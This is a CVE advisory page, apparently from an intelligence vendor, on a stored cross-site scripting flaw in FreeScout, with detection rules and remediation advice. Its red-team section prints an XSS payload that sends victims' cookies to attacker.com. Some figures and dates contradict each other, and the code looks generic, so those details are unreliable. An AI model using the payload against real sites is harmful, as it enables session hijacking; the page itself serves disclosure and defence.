☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-48486

CVE-2025-48486 Cross-Site Scripting in Freescout
📅 PUBLISHED: 2025-05-30 06:17 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48486 is a stored cross-site scripting (XSS) vulnerability in FreeScout, a free self-hosted help desk and shared mailbox. The vulnerability arises from insufficient input validation and sanitization in the /Session::flash and __ functions, allowing an attacker to inject arbitrary JavaScript code that will be executed in the context of other users' browsers. This can lead to session hijacking, data theft, and defacement. The vulnerability affects all versions prior to 1.8.180. The CVSS score is 0.0 in the NVD data, but based on the description and impact, a more realistic score is 6.1 (Medium). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the vulnerability is publicly known and a patch is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

FreeScout is a PHP-based application. The vulnerability is in the core application code, not in a third-party package. However, users should ensure they are using the official FreeScout repository and verify the integrity of their installation.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) - The victim must interact with the malicious content (e.g., view a page or click a link).
  • Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) - Limited data exposure is possible.
  • Integrity (I): Low (L) - Limited data modification is possible.
  • Availability (A): None (N) - No impact on availability.

CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to confidentiality and integrity.

Deep Dive & Mechanics

The vulnerability is located in two functions within FreeScout:

  1. /Session::flash: This function is used to store flash messages (temporary messages displayed to the user after an action). The input to this function is not properly sanitized, allowing an attacker to inject malicious HTML/JavaScript.
  2. __: This is a helper function used for localization and string translation. The vulnerability allows an attacker to inject malicious code through user-supplied strings that are passed to this function.

The lack of input validation and sanitization means that an attacker can craft a payload that, when stored in a session flash message or a translated string, will be executed by the browser of any user who views the affected page. This is a classic stored XSS vulnerability.

Attack Vector:

  1. An attacker identifies an input field that is processed by either /Session::flash or __.
  2. The attacker submits a payload containing malicious JavaScript, e.g., <script>alert('XSS')</script>.
  3. The payload is stored in the application's session or database.
  4. When another user (e.g., an administrator) views a page that displays the stored data, the malicious script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.8.180):

// In a controller or helper function
Session::flash('message', $userInput); // No sanitization
// In a view or template
echo __($userInput); // No sanitization

Patched Code (1.8.180+):

// In a controller or helper function
Session::flash('message', htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8')); // Sanitized
// In a view or template
echo htmlspecialchars(__($userInput), ENT_QUOTES, 'UTF-8'); // Sanitized

The patch uses htmlspecialchars() to encode special HTML characters, preventing the execution of injected scripts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A vulnerable FreeScout instance (version < 1.8.180).
  • A web browser with developer tools.

Exploitation Steps:

  1. Identify an Input Vector: Look for any form or input field that might be processed by /Session::flash or __. Common examples include:

    • User profile fields (name, bio).
    • Ticket creation forms (subject, description).
    • Settings pages.
    • Search fields.
  2. Craft a Payload: Create a simple XSS payload. For example:

    <script>alert('XSS')</script>
    

    Or a more sophisticated payload to steal cookies:

    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Inject the Payload: Submit the payload through the identified input field.

  4. Trigger the Payload: Have another user (or yourself in a different session) view the page where the payload is displayed. For example, if the payload was injected into a ticket description, view that ticket.

Expected Result: The JavaScript code executes in the victim's browser.

Blue Team (Detection & Prevention)

Detection:

  • Monitor web application logs for unusual input patterns, especially HTML tags and JavaScript code.
  • Use a Web Application Firewall (WAF) to block common XSS payloads.
  • Implement Content Security Policy (CSP) headers to restrict the execution of inline scripts.

Prevention:

  • Immediate: Upgrade to FreeScout version 1.8.180 or later.
  • Long-term: Implement input validation and output encoding for all user-supplied data. Use a security-focused coding framework.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing <script> tags or other HTML/JavaScript in POST parameters.
    • Outbound connections to attacker-controlled domains (if the payload exfiltrates data).
  • Host IOCs:
    • Unexpected entries in web server logs showing HTML/JavaScript in user input fields.
    • Modified files in the FreeScout installation directory (if the attacker uploads a web shell).
  • Application IOCs:
    • Stored XSS payloads in the database (e.g., in the sessions or messages tables).
    • Unusual flash messages or translated strings containing HTML.

Detection Engineering

YARA Rule

rule Detect_FreeScout_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads targeting FreeScout CVE-2025-48486"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48486"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: FreeScout XSS Attempt (CVE-2025-48486)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit a stored XSS vulnerability in FreeScout.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48486
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/Session/flash'
            - '__'
        cs-body|contains:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in certain fields (e.g., rich text editors)
level: high

Suricata Rule

alert http any any -> any any (msg:"FreeScout XSS Attempt (CVE-2025-48486)"; flow:to_server,established; content:"POST"; http_method; content:"/Session/flash"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade FreeScout: Update to version 1.8.180 or later immediately.
  2. Apply Virtual Patching: If an immediate upgrade is not possible, use a WAF to block requests containing <script> tags or other XSS patterns in the affected parameters.

Long-Term Mitigations:

  1. Input Validation: Implement strict input validation for all user-supplied data. Allow only expected characters and patterns.
  2. Output Encoding: Encode all output that includes user-supplied data using htmlspecialchars() or a similar function.
  3. Content Security Policy (CSP): Implement a strict CSP header to prevent the execution of inline scripts and limit the sources from which scripts can be loaded.
  4. Regular Security Audits: Conduct regular code reviews and penetration testing to identify and fix similar vulnerabilities.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48486/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.